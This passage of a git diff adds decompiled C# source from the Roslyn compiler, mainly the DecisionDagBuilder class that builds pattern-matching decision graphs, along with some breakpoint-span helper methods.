nodeOrToken)).Span; + return ((TextSpan)(ref span)).End; + } + SyntaxToken lastToken = val.GetLastToken(false, false, false, false); + span = ((SyntaxToken)(ref lastToken)).Span; + return ((TextSpan)(ref span)).End; + } + + internal static void GetBreakpointSpan(VariableDeclaratorSyntax declaratorSyntax, out SyntaxNode node, out TextSpan? part) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + //IL_0135: Unknown result type (might be due to invalid IL or missing references) + //IL_013a: Unknown result type (might be due to invalid IL or missing references) + //IL_0143: Unknown result type (might be due to invalid IL or missing references) + //IL_00b1: Unknown result type (might be due to invalid IL or missing references) + //IL_00b6: Unknown result type (might be due to invalid IL or missing references) + //IL_0071: Unknown result type (might be due to invalid IL or missing references) + //IL_0076: Unknown result type (might be due to invalid IL or missing references) + //IL_0117: Unknown result type (might be due to invalid IL or missing references) + //IL_00c3: Unknown result type (might be due to invalid IL or missing references) + //IL_00ca: Unknown result type (might be due to invalid IL or missing references) + //IL_00d0: Unknown result type (might be due to invalid IL or missing references) + //IL_008f: Unknown result type (might be due to invalid IL or missing references) + //IL_00db: Unknown result type (might be due to invalid IL or missing references) + //IL_00e2: Unknown result type (might be due to invalid IL or missing references) + //IL_00e8: Unknown result type (might be due to invalid IL or missing references) + //IL_00fc: Unknown result type (might be due to invalid IL or missing references) + //IL_00f3: Unknown result type (might be due to invalid IL or missing references) + VariableDeclarationSyntax variableDeclarationSyntax = (VariableDeclarationSyntax)declaratorSyntax.Parent; + if (variableDeclarationSyntax.Variables.First() == declaratorSyntax) + { + switch (variableDeclarationSyntax.Parent.Kind()) + { + case SyntaxKind.FieldDeclaration: + case SyntaxKind.EventFieldDeclaration: + { + SyntaxTokenList modifiers2 = ((BaseFieldDeclarationSyntax)variableDeclarationSyntax.Parent).Modifiers; + GetFirstLocalOrFieldBreakpointSpan(((SyntaxTokenList)(ref modifiers2)).Any() ? new SyntaxToken?(((SyntaxTokenList)(ref modifiers2))[0]) : ((SyntaxToken?)null), declaratorSyntax, out node, out part); + break; + } + case SyntaxKind.LocalDeclarationStatement: + { + LocalDeclarationStatementSyntax localDeclarationStatementSyntax = (LocalDeclarationStatementSyntax)variableDeclarationSyntax.Parent; + SyntaxTokenList modifiers = localDeclarationStatementSyntax.Modifiers; + GetFirstLocalOrFieldBreakpointSpan(((SyntaxTokenList)(ref modifiers)).Any() ? new SyntaxToken?(((SyntaxTokenList)(ref modifiers))[0]) : ((localDeclarationStatementSyntax.UsingKeyword == default(SyntaxToken)) ? ((SyntaxToken?)null) : new SyntaxToken?((localDeclarationStatementSyntax.AwaitKeyword == default(SyntaxToken)) ? localDeclarationStatementSyntax.UsingKeyword : localDeclarationStatementSyntax.AwaitKeyword)), declaratorSyntax, out node, out part); + break; + } + case SyntaxKind.ForStatement: + case SyntaxKind.UsingStatement: + case SyntaxKind.FixedStatement: + { + node = (SyntaxNode)(object)variableDeclarationSyntax; + int spanStart = ((SyntaxNode)variableDeclarationSyntax).SpanStart; + TextSpan span = ((SyntaxNode)declaratorSyntax).Span; + part = TextSpan.FromBounds(spanStart, ((TextSpan)(ref span)).End); + break; + } + default: + throw ExceptionUtilities.UnexpectedValue((object)variableDeclarationSyntax.Parent.Kind()); + } + } + else + { + node = (SyntaxNode)(object)declaratorSyntax; + part = null; + } + } + + internal static void GetFirstLocalOrFieldBreakpointSpan(SyntaxToken? firstToken, VariableDeclaratorSyntax declaratorSyntax, out SyntaxNode node, out TextSpan? part) + { + //IL_001f: Unknown result type (might be due to invalid IL or missing references) + //IL_0024: Unknown result type (might be due to invalid IL or missing references) + //IL_002e: Unknown result type (might be due to invalid IL or missing references) + //IL_0033: Unknown result type (might be due to invalid IL or missing references) + //IL_0057: Unknown result type (might be due to invalid IL or missing references) + //IL_005c: Unknown result type (might be due to invalid IL or missing references) + //IL_0045: Unknown result type (might be due to invalid IL or missing references) + //IL_004a: Unknown result type (might be due to invalid IL or missing references) + //IL_0069: Unknown result type (might be due to invalid IL or missing references) + VariableDeclarationSyntax variableDeclarationSyntax = (VariableDeclarationSyntax)declaratorSyntax.Parent; + int spanStart; + if (!firstToken.HasValue) + { + spanStart = ((SyntaxNode)variableDeclarationSyntax).SpanStart; + } + else + { + SyntaxToken valueOrDefault = firstToken.GetValueOrDefault(); + spanStart = ((SyntaxToken)(ref valueOrDefault)).SpanStart; + } + int num = spanStart; + TextSpan span; + int end; + if (variableDeclarationSyntax.Variables.Count == 1) + { + span = ((SyntaxNode)variableDeclarationSyntax.Parent).Span; + end = ((TextSpan)(ref span)).End; + } + else + { + span = ((SyntaxNode)declaratorSyntax).Span; + end = ((TextSpan)(ref span)).End; + } + part = TextSpan.FromBounds(num, end); + node = (SyntaxNode)(object)variableDeclarationSyntax.Parent; + } + + private static BoundExpression AddConditionSequencePoint(BoundExpression condition, SyntaxNode synthesizedVariableSyntax, SyntheticBoundNodeFactory factory) + { + if (!((CompilationOptions)factory.Compilation.Options).EnableEditAndContinue) + { + return condition; + } + LocalSymbol localSymbol = factory.SynthesizedLocal(condition.Type, synthesizedVariableSyntax, isPinned: false, isKnownToReferToTempIfReferenceType: false, (RefKind)0, (SynthesizedLocalKind)1); + BoundExpression value = ((condition.ConstantValueOpt == (ConstantValue)null) ? new BoundSequencePointExpression(null, factory.Local(localSymbol), condition.Type) : condition); + return new BoundSequence(condition.Syntax, ImmutableArray.Create(localSymbol), ImmutableArray.Create(factory.AssignmentExpression(factory.Local(localSymbol), condition)), value, condition.Type); + } +} diff --git a/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DecisionDagBuilder.cs b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DecisionDagBuilder.cs new file mode 100644 index 0000000..7a24c4c --- /dev/null +++ b/decompiled/Libraries/microsoft.codeanalysis.csharp/Microsoft.CodeAnalysis.CSharp/DecisionDagBuilder.cs @@ -0,0 +1,2089 @@ +using System; +using System.Collections.Generic; +using System.Collections.Immutable; +using System.Diagnostics.CodeAnalysis; +using System.Linq; +using Microsoft.CodeAnalysis.CSharp.Symbols; +using Microsoft.CodeAnalysis.PooledObjects; +using Microsoft.CodeAnalysis.Shared.Collections; +using Roslyn.Utilities; + +namespace Microsoft.CodeAnalysis.CSharp; + +internal sealed class DecisionDagBuilder +{ + private sealed class DecisionDag + { + public readonly DagState RootNode; + + public DecisionDag(DagState rootNode) + { + RootNode = rootNode; + } + + private static void AddSuccessor(ref TemporaryArray builder, DagState state) + { + TemporaryArrayExtensions.AddIfNotNull(ref builder, state.TrueBranch); + TemporaryArrayExtensions.AddIfNotNull(ref builder, state.FalseBranch); + } + + public bool TryGetTopologicallySortedReachableStates(out ImmutableArray result) + { + return TopologicalSort.TryIterativeSort(RootNode, (TopologicalSortAddSuccessors)AddSuccessor, ref result); + } + } + + private readonly struct FrozenArrayBuilder + { + private readonly ArrayBuilder _arrayBuilder; + + public int Count => _arrayBuilder.Count; + + public T this[int i] => _arrayBuilder[i]; + + public FrozenArrayBuilder(ArrayBuilder arrayBuilder) + { + if (arrayBuilder.Capacity >= 128 && arrayBuilder.Count < 128 && arrayBuilder.Capacity >= arrayBuilder.Count * 2) + { + arrayBuilder.Capacity = arrayBuilder.Count; + } + _arrayBuilder = arrayBuilder; + } + + public void Free() + { + _arrayBuilder.Free(); + } + + public T First() + { + return _arrayBuilder.First(); + } + + public Enumerator GetEnumerator() + { + //IL_0006: Unknown result type (might be due to invalid IL or missing references) + return _arrayBuilder.GetEnumerator(); + } + + public FrozenArrayBuilder RemoveAt(int index) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(Count - 1); + for (int i = 0; i < index; i++) + { + instance.Add(this[i]); + } + int j = index + 1; + for (int count = Count; j < count; j++) + { + instance.Add(this[j]); + } + return AsFrozen(instance); + } + } + + private sealed class DagState + { + private static readonly ObjectPool s_dagStatePool = new ObjectPool((Factory)(() => new DagState()), true); + + public BoundDagTest? SelectedTest; + + public DagState? TrueBranch; + + public DagState? FalseBranch; + + public BoundDecisionDagNode? Dag; + + public ImmutableDictionary RemainingValues { get; private set; } + + public FrozenArrayBuilder Cases { get; private set; } + + private DagState() + { + } + + public static DagState GetInstance(FrozenArrayBuilder cases, ImmutableDictionary remainingValues) + { + DagState dagState = s_dagStatePool.Allocate(); + dagState.Cases = cases; + dagState.RemainingValues = remainingValues; + return dagState; + } + + public void ClearAndFree() + { + Cases.Free(); + Cases = default(FrozenArrayBuilder); + RemainingValues = null; + SelectedTest = null; + TrueBranch = null; + FalseBranch = null; + Dag = null; + s_dagStatePool.Free(this); + } + + internal BoundDagTest ComputeSelectedTest() + { + return Cases[0].RemainingTests.ComputeSelectedTest(); + } + + internal void UpdateRemainingValues(ImmutableDictionary newRemainingValues) + { + RemainingValues = newRemainingValues; + SelectedTest = null; + TrueBranch = null; + FalseBranch = null; + } + } + + private sealed class DagStateEquivalence : IEqualityComparer + { + public static readonly DagStateEquivalence Instance = new DagStateEquivalence(); + + private DagStateEquivalence() + { + } + + public bool Equals(DagState? x, DagState? y) + { + if (x == y) + { + return true; + } + if (x.Cases.Count != y.Cases.Count) + { + return false; + } + int i = 0; + for (int count = x.Cases.Count; i < count; i++) + { + if (!x.Cases[i].Equals(y.Cases[i])) + { + return false; + } + } + return true; + } + + public int GetHashCode(DagState x) + { + //IL_000b: Unknown result type (might be due to invalid IL or missing references) + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + int num = 0; + Enumerator enumerator = x.Cases.GetEnumerator(); + while (enumerator.MoveNext()) + { + num = Hash.Combine(enumerator.Current.GetHashCode(), num); + } + return Hash.Combine(num, x.Cases.Count); + } + } + + private readonly struct StateForCase(int Index, SyntaxNode Syntax, Tests RemainingTests, ImmutableArray Bindings, BoundExpression? WhenClause, LabelSymbol CaseLabel) + { + public readonly int Index = Index; + + public readonly SyntaxNode Syntax = Syntax; + + public readonly Tests RemainingTests = RemainingTests; + + public readonly ImmutableArray Bindings = Bindings; + + public readonly BoundExpression? WhenClause = WhenClause; + + public readonly LabelSymbol CaseLabel = CaseLabel; + + public bool IsFullyMatched + { + get + { + if (RemainingTests is Tests.True) + { + if (WhenClause != null) + { + return WhenClause.ConstantValueOpt == ConstantValue.True; + } + return true; + } + return false; + } + } + + public bool PatternIsSatisfied => RemainingTests is Tests.True; + + public bool IsImpossible => RemainingTests is Tests.False; + + public override bool Equals(object? obj) + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/DecisionDagBuilder.cs", 2000); + } + + public bool Equals(StateForCase other) + { + if (Index == other.Index) + { + return RemainingTests.Equals(other.RemainingTests); + } + return false; + } + + public override int GetHashCode() + { + return Hash.Combine(RemainingTests.GetHashCode(), Index); + } + + public StateForCase WithRemainingTests(Tests newRemainingTests) + { + if (!newRemainingTests.Equals(RemainingTests)) + { + return new StateForCase(Index, Syntax, newRemainingTests, Bindings, WhenClause, CaseLabel); + } + return this; + } + + public StateForCase RewriteNestedLengthTests() + { + return WithRemainingTests(RemainingTests.RewriteNestedLengthTests()); + } + } + + private abstract class Tests + { + public sealed class True : Tests + { + public static readonly True Instance = new True(); + + public override string Dump(Func dump) + { + return "TRUE"; + } + + public override void Filter(DecisionDagBuilder builder, BoundDagTest test, DagState state, IValueSet? whenTrueValues, IValueSet? whenFalseValues, out Tests whenTrue, out Tests whenFalse, ref bool foundExplicitNullTest) + { + whenTrue = (whenFalse = this); + } + } + + public sealed class False : Tests + { + public static readonly False Instance = new False(); + + public override string Dump(Func dump) + { + return "FALSE"; + } + + public override void Filter(DecisionDagBuilder builder, BoundDagTest test, DagState state, IValueSet? whenTrueValues, IValueSet? whenFalseValues, out Tests whenTrue, out Tests whenFalse, ref bool foundExplicitNullTest) + { + whenTrue = (whenFalse = this); + } + } + + public sealed class One : Tests + { + public readonly BoundDagTest Test; + + public One(BoundDagTest test) + { + Test = test; + } + + public void Deconstruct(out BoundDagTest Test) + { + Test = this.Test; + } + + public override void Filter(DecisionDagBuilder builder, BoundDagTest test, DagState state, IValueSet? whenTrueValues, IValueSet? whenFalseValues, out Tests whenTrue, out Tests whenFalse, ref bool foundExplicitNullTest) + { + SyntaxNode syntax = test.Syntax; + BoundDagTest test2 = Test; + if (test2 is BoundDagEvaluation || !builder.CheckInputRelation(syntax, state, test, test2, out Tests relationCondition, out Tests relationEffect)) + { + whenTrue = (whenFalse = this); + return; + } + builder.CheckConsistentDecision(test, test2, whenTrueValues, whenFalseValues, syntax, out var trueTestPermitsTrueOther, out var falseTestPermitsTrueOther, out var trueTestImpliesTrueOther, out var falseTestImpliesTrueOther, ref foundExplicitNullTest); + whenTrue = rewrite(trueTestImpliesTrueOther, trueTestPermitsTrueOther, relationCondition, relationEffect, this); + whenFalse = rewrite(falseTestImpliesTrueOther, falseTestPermitsTrueOther, relationCondition, relationEffect, this); + static Tests rewrite(bool decisionImpliesTrueOther, bool decisionPermitsTrueOther, Tests tests, Tests t, Tests other) + { + if (!decisionImpliesTrueOther) + { + if (decisionPermitsTrueOther) + { + return AndSequence.Create(OrSequence.Create(Not.Create(tests), t), other); + } + return AndSequence.Create(Not.Create(AndSequence.Create(tests, t)), other); + } + return OrSequence.Create(AndSequence.Create(tests, t), other); + } + } + + public override BoundDagTest ComputeSelectedTest() + { + return Test; + } + + public override Tests RemoveEvaluation(BoundDagEvaluation e) + { + if (!e.Equals(Test)) + { + return this; + } + return True.Instance; + } + + public override string Dump(Func dump) + { + return dump(Test); + } + + public override bool Equals(object? obj) + { + if (this != obj) + { + if (obj is One one) + { + return Test.Equals(one.Test); + } + return false; + } + return true; + } + + public override int GetHashCode() + { + return Test.GetHashCode(); + } + + public override Tests RewriteNestedLengthTests() + { + BoundDagTest test = Test; + if (test.Input.Source is BoundDagPropertyEvaluation { IsLengthOrCount: not false } boundDagPropertyEvaluation) + { + if (boundDagPropertyEvaluation.Syntax.IsKind(SyntaxKind.ListPattern) && test is BoundDagRelationalTest boundDagRelationalTest && boundDagRelationalTest.Value.Int32Value == 0) + { + return True.Instance; + } + (BoundDagTemp, int) tuple = TryGetTopLevelLengthTemp(boundDagPropertyEvaluation); + var (boundDagTemp, _) = tuple; + if (boundDagTemp != null) + { + int item = tuple.Item2; + BoundDagTest boundDagTest = test; + if (!(boundDagTest is BoundDagValueTest boundDagValueTest)) + { + if (boundDagTest is BoundDagRelationalTest boundDagRelationalTest2 && !boundDagRelationalTest2.Value.IsBad) + { + return knownResult(boundDagRelationalTest2.Relation, boundDagRelationalTest2.Value, item) ?? new One(new BoundDagRelationalTest(boundDagRelationalTest2.Syntax, boundDagRelationalTest2.OperatorKind, safeAdd(boundDagRelationalTest2.Value, item), boundDagTemp)); + } + } + else if (!boundDagValueTest.Value.IsBad) + { + return knownResult(BinaryOperatorKind.Equal, boundDagValueTest.Value, item) ?? new One(new BoundDagValueTest(boundDagValueTest.Syntax, safeAdd(boundDagValueTest.Value, item), boundDagTemp)); + } + } + } + return this; + static Tests? knownResult(BinaryOperatorKind relation, ConstantValue constant, int offset) + { + IValueSetFactory forLength = ValueSetFactory.ForLength; + IValueSet other = forLength.Related(BinaryOperatorKind.LessThanOrEqual, int.MaxValue - offset); + IValueSet valueSet = forLength.Related(relation, constant); + if (valueSet.Intersect(other).IsEmpty) + { + return False.Instance; + } + if (valueSet.Complement().Intersect(other).IsEmpty) + { + return True.Instance; + } + return null; + } + static ConstantValue safeAdd(ConstantValue constant, int offset) + { + int int32Value = constant.Int32Value; + return ConstantValue.Create((offset > int.MaxValue - int32Value) ? int.MaxValue : (int32Value + offset)); + } + } + } + + public sealed class Not : Tests + { + public readonly Tests Negated; + + private Not(Tests negated) + { + Negated = negated; + } + + public static Tests Create(Tests negated) + { + if (!(negated is True)) + { + if (!(negated is False)) + { + if (!(negated is Not not)) + { + if (!(negated is AndSequence negated2)) + { + if (!(negated is OrSequence orSequence)) + { + if (negated is One negated3) + { + return new Not(negated3); + } + throw ExceptionUtilities.UnexpectedValue((object)negated); + } + return AndSequence.Create(NegateSequenceElements(orSequence.RemainingTests)); + } + return new Not(negated2); + } + return not.Negated; + } + return True.Instance; + } + return False.Instance; + } + + private static ArrayBuilder NegateSequenceElements(ImmutableArray seq) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(seq.Length); + ImmutableArray.Enumerator enumerator = seq.GetEnumerator(); + while (enumerator.MoveNext()) + { + Tests current = enumerator.Current; + instance.Add(Create(current)); + } + return instance; + } + + public override Tests RemoveEvaluation(BoundDagEvaluation e) + { + return Create(Negated.RemoveEvaluation(e)); + } + + public override Tests RewriteNestedLengthTests() + { + return Create(Negated.RewriteNestedLengthTests()); + } + + public override BoundDagTest ComputeSelectedTest() + { + return Negated.ComputeSelectedTest(); + } + + public override string Dump(Func dump) + { + return "Not (" + Negated.Dump(dump) + ")"; + } + + public override void Filter(DecisionDagBuilder builder, BoundDagTest test, DagState state, IValueSet? whenTrueValues, IValueSet? whenFalseValues, out Tests whenTrue, out Tests whenFalse, ref bool foundExplicitNullTest) + { + Negated.Filter(builder, test, state, whenTrueValues, whenFalseValues, out Tests whenTrue2, out Tests whenFalse2, ref foundExplicitNullTest); + whenTrue = Create(whenTrue2); + whenFalse = Create(whenFalse2); + } + + public override bool Equals(object? obj) + { + if (this != obj) + { + if (obj is Not not) + { + return Negated.Equals(not.Negated); + } + return false; + } + return true; + } + + public override int GetHashCode() + { + return Hash.Combine(Negated.GetHashCode(), typeof(Not).GetHashCode()); + } + } + + public abstract class SequenceTests : Tests + { + public readonly ImmutableArray RemainingTests; + + protected SequenceTests(ImmutableArray remainingTests) + { + RemainingTests = remainingTests; + } + + public abstract Tests Update(ArrayBuilder remainingTests); + + public sealed override void Filter(DecisionDagBuilder builder, BoundDagTest test, DagState state, IValueSet? whenTrueValues, IValueSet? whenFalseValues, out Tests whenTrue, out Tests whenFalse, ref bool foundExplicitNullTest) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(RemainingTests.Length); + ArrayBuilder instance2 = ArrayBuilder.GetInstance(RemainingTests.Length); + ImmutableArray.Enumerator enumerator = RemainingTests.GetEnumerator(); + while (enumerator.MoveNext()) + { + enumerator.Current.Filter(builder, test, state, whenTrueValues, whenFalseValues, out Tests whenTrue2, out Tests whenFalse2, ref foundExplicitNullTest); + instance.Add(whenTrue2); + instance2.Add(whenFalse2); + } + whenTrue = Update(instance); + whenFalse = Update(instance2); + } + + public sealed override Tests RemoveEvaluation(BoundDagEvaluation e) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(RemainingTests.Length); + ImmutableArray.Enumerator enumerator = RemainingTests.GetEnumerator(); + while (enumerator.MoveNext()) + { + Tests current = enumerator.Current; + instance.Add(current.RemoveEvaluation(e)); + } + return Update(instance); + } + + public sealed override Tests RewriteNestedLengthTests() + { + ArrayBuilder instance = ArrayBuilder.GetInstance(RemainingTests.Length); + ImmutableArray.Enumerator enumerator = RemainingTests.GetEnumerator(); + while (enumerator.MoveNext()) + { + Tests current = enumerator.Current; + instance.Add(current.RewriteNestedLengthTests()); + } + return Update(instance); + } + + public sealed override bool Equals(object? obj) + { + if (this != obj) + { + if (obj is SequenceTests sequenceTests && GetType() == sequenceTests.GetType()) + { + return RemainingTests.SequenceEqual(sequenceTests.RemainingTests); + } + return false; + } + return true; + } + + public sealed override int GetHashCode() + { + int num = Hash.Combine(RemainingTests.Length, GetType().GetHashCode()); + return Hash.Combine(Hash.CombineValues(RemainingTests, int.MaxValue), num); + } + } + + public sealed class AndSequence : SequenceTests + { + private AndSequence(ImmutableArray remainingTests) + : base(remainingTests) + { + } + + public override Tests Update(ArrayBuilder remainingTests) + { + return Create(remainingTests); + } + + public static Tests Create(Tests t1, Tests t2) + { + if (t1 is True) + { + return t2; + } + if (t1 is False) + { + return t1; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(2); + instance.Add(t1); + instance.Add(t2); + return Create(instance); + } + + public static Tests Create(ArrayBuilder remainingTests) + { + for (int num = remainingTests.Count - 1; num >= 0; num--) + { + Tests tests = remainingTests[num]; + if (!(tests is True)) + { + if (tests is False result) + { + remainingTests.Free(); + return result; + } + if (tests is AndSequence andSequence) + { + ImmutableArray remainingTests2 = andSequence.RemainingTests; + remainingTests.RemoveAt(num); + int i = 0; + for (int length = remainingTests2.Length; i < length; i++) + { + remainingTests.Insert(num + i, remainingTests2[i]); + } + } + } + else + { + remainingTests.RemoveAt(num); + } + } + object result2 = remainingTests.Count switch + { + 0 => True.Instance, + 1 => remainingTests[0], + _ => new AndSequence(remainingTests.ToImmutable()), + }; + remainingTests.Free(); + return (Tests)result2; + } + + public override BoundDagTest ComputeSelectedTest() + { + if (RemainingTests[0] is One one) + { + BoundDagTest test = one.Test; + if (test != null && test.Kind == BoundKind.DagNonNullTest && RemainingTests[1] is One one2) + { + BoundDagTest test2 = one2.Test; + if (test2 != null) + { + switch (test2.Kind) + { + case BoundKind.DagTypeTest: + if (test.Input != test2.Input) + { + return test; + } + return test2; + case BoundKind.DagValueTest: + { + BoundDagTest boundDagTest = test2; + if (test.Input != boundDagTest.Input) + { + return test; + } + return boundDagTest; + } + } + } + } + } + return RemainingTests[0].ComputeSelectedTest(); + } + + public override string Dump(Func dump) + { + return "AND(" + string.Join(", ", RemainingTests.Select((Tests t) => t.Dump(dump))) + ")"; + } + } + + public sealed class OrSequence : SequenceTests + { + private OrSequence(ImmutableArray remainingTests) + : base(remainingTests) + { + } + + public override BoundDagTest ComputeSelectedTest() + { + return RemainingTests[0].ComputeSelectedTest(); + } + + public override Tests Update(ArrayBuilder remainingTests) + { + return Create(remainingTests); + } + + public static Tests Create(Tests t1, Tests t2) + { + if (t1 is True) + { + return t1; + } + if (t1 is False) + { + return t2; + } + ArrayBuilder instance = ArrayBuilder.GetInstance(2); + instance.Add(t1); + instance.Add(t2); + return Create(instance); + } + + public static Tests Create(ArrayBuilder remainingTests) + { + for (int num = remainingTests.Count - 1; num >= 0; num--) + { + Tests tests = remainingTests[num]; + if (!(tests is False)) + { + if (tests is True result) + { + remainingTests.Free(); + return result; + } + if (tests is OrSequence orSequence) + { + remainingTests.RemoveAt(num); + ImmutableArray remainingTests2 = orSequence.RemainingTests; + int i = 0; + for (int length = remainingTests2.Length; i < length; i++) + { + remainingTests.Insert(num + i, remainingTests2[i]); + } + } + } + else + { + remainingTests.RemoveAt(num); + } + } + object result2 = remainingTests.Count switch + { + 0 => False.Instance, + 1 => remainingTests[0], + _ => new OrSequence(remainingTests.ToImmutable()), + }; + remainingTests.Free(); + return (Tests)result2; + } + + public override string Dump(Func dump) + { + return "OR(" + string.Join(", ", RemainingTests.Select((Tests t) => t.Dump(dump))) + ")"; + } + } + + private Tests() + { + } + + public abstract void Filter(DecisionDagBuilder builder, BoundDagTest test, DagState state, IValueSet? whenTrueValues, IValueSet? whenFalseValues, out Tests whenTrue, out Tests whenFalse, ref bool foundExplicitNullTest); + + public virtual BoundDagTest ComputeSelectedTest() + { + throw ExceptionUtilities.Unreachable("/_/src/Compilers/CSharp/Portable/Binder/DecisionDagBuilder.cs", 2049); + } + + public virtual Tests RemoveEvaluation(BoundDagEvaluation e) + { + return this; + } + + public virtual Tests RewriteNestedLengthTests() + { + return this; + } + + public abstract string Dump(Func dump); + } + + private static readonly ObjectPool> s_uniqueStatePool = PooledDictionary.CreatePool((IEqualityComparer)DagStateEquivalence.Instance); + + private readonly CSharpCompilation _compilation; + + private readonly Conversions _conversions; + + private readonly BindingDiagnosticBag _diagnostics; + + private readonly LabelSymbol _defaultLabel; + + private readonly bool _forLowering; + + private DecisionDagBuilder(CSharpCompilation compilation, LabelSymbol defaultLabel, bool forLowering, BindingDiagnosticBag diagnostics) + { + _compilation = compilation; + _conversions = compilation.Conversions; + _diagnostics = diagnostics; + _defaultLabel = defaultLabel; + _forLowering = forLowering; + } + + public static BoundDecisionDag CreateDecisionDagForSwitchStatement(CSharpCompilation compilation, SyntaxNode syntax, BoundExpression switchGoverningExpression, ImmutableArray switchSections, LabelSymbol defaultLabel, BindingDiagnosticBag diagnostics, bool forLowering = false) + { + return new DecisionDagBuilder(compilation, defaultLabel, forLowering, diagnostics).CreateDecisionDagForSwitchStatement(syntax, switchGoverningExpression, switchSections); + } + + public static BoundDecisionDag CreateDecisionDagForSwitchExpression(CSharpCompilation compilation, SyntaxNode syntax, BoundExpression switchExpressionInput, ImmutableArray switchArms, LabelSymbol defaultLabel, BindingDiagnosticBag diagnostics, bool forLowering = false) + { + return new DecisionDagBuilder(compilation, defaultLabel, forLowering, diagnostics).CreateDecisionDagForSwitchExpression(syntax, switchExpressionInput, switchArms); + } + + public static BoundDecisionDag CreateDecisionDagForIsPattern(CSharpCompilation compilation, SyntaxNode syntax, BoundExpression inputExpression, BoundPattern pattern, LabelSymbol whenTrueLabel, LabelSymbol whenFalseLabel, BindingDiagnosticBag diagnostics, bool forLowering = false) + { + return new DecisionDagBuilder(compilation, whenFalseLabel, forLowering, diagnostics).CreateDecisionDagForIsPattern(syntax, inputExpression, pattern, whenTrueLabel); + } + + private BoundDecisionDag CreateDecisionDagForIsPattern(SyntaxNode syntax, BoundExpression inputExpression, BoundPattern pattern, LabelSymbol whenTrueLabel) + { + //IL_0007: Unknown result type (might be due to invalid IL or missing references) + //IL_000c: Unknown result type (might be due to invalid IL or missing references) + BoundDagTemp input = BoundDagTemp.ForOriginalInput(inputExpression); + TemporaryArray empty = TemporaryArray.Empty; + try + { + empty.Add(MakeTestsForPattern(1, pattern.Syntax, input, pattern, null, whenTrueLabel)); + return MakeBoundDecisionDag(syntax, ref TemporaryArrayExtensions.AsRef(ref empty)); + } + finally + { + ((IDisposable)empty/*cast due to constrained. prefix*/).Dispose(); + } + } + + private BoundDecisionDag CreateDecisionDagForSwitchStatement(SyntaxNode syntax, BoundExpression switchGoverningExpression, ImmutableArray switchSections) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + BoundDagTemp input = BoundDagTemp.ForOriginalInput(switchGoverningExpression); + int num = 0; + TemporaryArray instance = TemporaryArray.GetInstance(switchSections.Length); + try + { + ImmutableArray.Enumerator enumerator = switchSections.GetEnumerator(); + while (enumerator.MoveNext()) + { + ImmutableArray.Enumerator enumerator2 = enumerator.Current.SwitchLabels.GetEnumerator(); + while (enumerator2.MoveNext()) + { + BoundSwitchLabel current = enumerator2.Current; + if (current.Syntax.Kind() != SyntaxKind.DefaultSwitchLabel) + { + instance.Add(MakeTestsForPattern(++num, current.Syntax, input, current.Pattern, current.WhenClause, current.Label)); + } + } + } + return MakeBoundDecisionDag(syntax, ref TemporaryArrayExtensions.AsRef(ref instance)); + } + finally + { + ((IDisposable)instance/*cast due to constrained. prefix*/).Dispose(); + } + } + + private BoundDecisionDag CreateDecisionDagForSwitchExpression(SyntaxNode syntax, BoundExpression switchExpressionInput, ImmutableArray switchArms) + { + //IL_0010: Unknown result type (might be due to invalid IL or missing references) + //IL_0015: Unknown result type (might be due to invalid IL or missing references) + BoundDagTemp input = BoundDagTemp.ForOriginalInput(switchExpressionInput); + int num = 0; + TemporaryArray instance = TemporaryArray.GetInstance(switchArms.Length); + try + { + ImmutableArray.Enumerator enumerator = switchArms.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundSwitchExpressionArm current = enumerator.Current; + instance.Add(MakeTestsForPattern(++num, current.Syntax, input, current.Pattern, current.WhenClause, current.Label)); + } + return MakeBoundDecisionDag(syntax, ref TemporaryArrayExtensions.AsRef(ref instance)); + } + finally + { + ((IDisposable)instance/*cast due to constrained. prefix*/).Dispose(); + } + } + + private StateForCase MakeTestsForPattern(int index, SyntaxNode syntax, BoundDagTemp input, BoundPattern pattern, BoundExpression? whenClause, LabelSymbol label) + { + ImmutableArray bindings; + Tests remainingTests = MakeAndSimplifyTestsAndBindings(input, pattern, out bindings); + return new StateForCase(index, syntax, remainingTests, bindings, whenClause, label); + } + + private Tests MakeAndSimplifyTestsAndBindings(BoundDagTemp input, BoundPattern pattern, out ImmutableArray bindings) + { + ArrayBuilder instance = ArrayBuilder.GetInstance(); + Tests result = SimplifyTestsAndBindings(MakeTestsAndBindings(input, pattern, instance), instance); + bindings = instance.ToImmutableAndFree(); + return result; + } + + private static Tests SimplifyTestsAndBindings(Tests tests, ArrayBuilder bindingsBuilder) + { + //IL_000d: Unknown result type (might be due to invalid IL or missing references) + //IL_0012: Unknown result type (might be due to invalid IL or missing references) + PooledHashSet usedValues = PooledHashSet.GetInstance(); + Enumerator enumerator = bindingsBuilder.GetEnumerator(); + while (enumerator.MoveNext()) + { + BoundDagTemp tempContainingValue = enumerator.Current.TempContainingValue; + if (tempContainingValue.Source != null) + { + ((HashSet)(object)usedValues).Add(tempContainingValue.Source); + } + } + Tests result = scanAndSimplify(tests); + usedValues.Free(); + return result; + Tests scanAndSimplify(Tests tests2) + { + if (tests2 is Tests.SequenceTests sequenceTests) + { + ImmutableArray remainingTests = sequenceTests.RemainingTests; + int length = remainingTests.Length; + ArrayBuilder instance = ArrayBuilder.GetInstance(length); + instance.AddRange(remainingTests); + for (int num = length - 1; num >= 0; num--) + { + instance[num] = scanAndSimplify(instance[num]); + } + return sequenceTests.Update(instance); + } + if (tests2 is Tests.True || tests2 is Tests.False) + { + return tests2; + } + if (tests2 is Tests.One one) + { + one.Deconstruct(out BoundDagTest Test); + if (Test is BoundDagEvaluation boundDagEvaluation) + { + if (((HashSet)(object)usedValues).Contains(boundDagEvaluation)) + { + if (boundDagEvaluation.Input.Source != null) + { + ((HashSet)(object)usedValues).Add(boundDagEvaluation.Input.Source); + } + return tests2; + } + return Tests.True.Instance; + } + if (Test != null) + { + if (Test.Input.Source != null) + { + 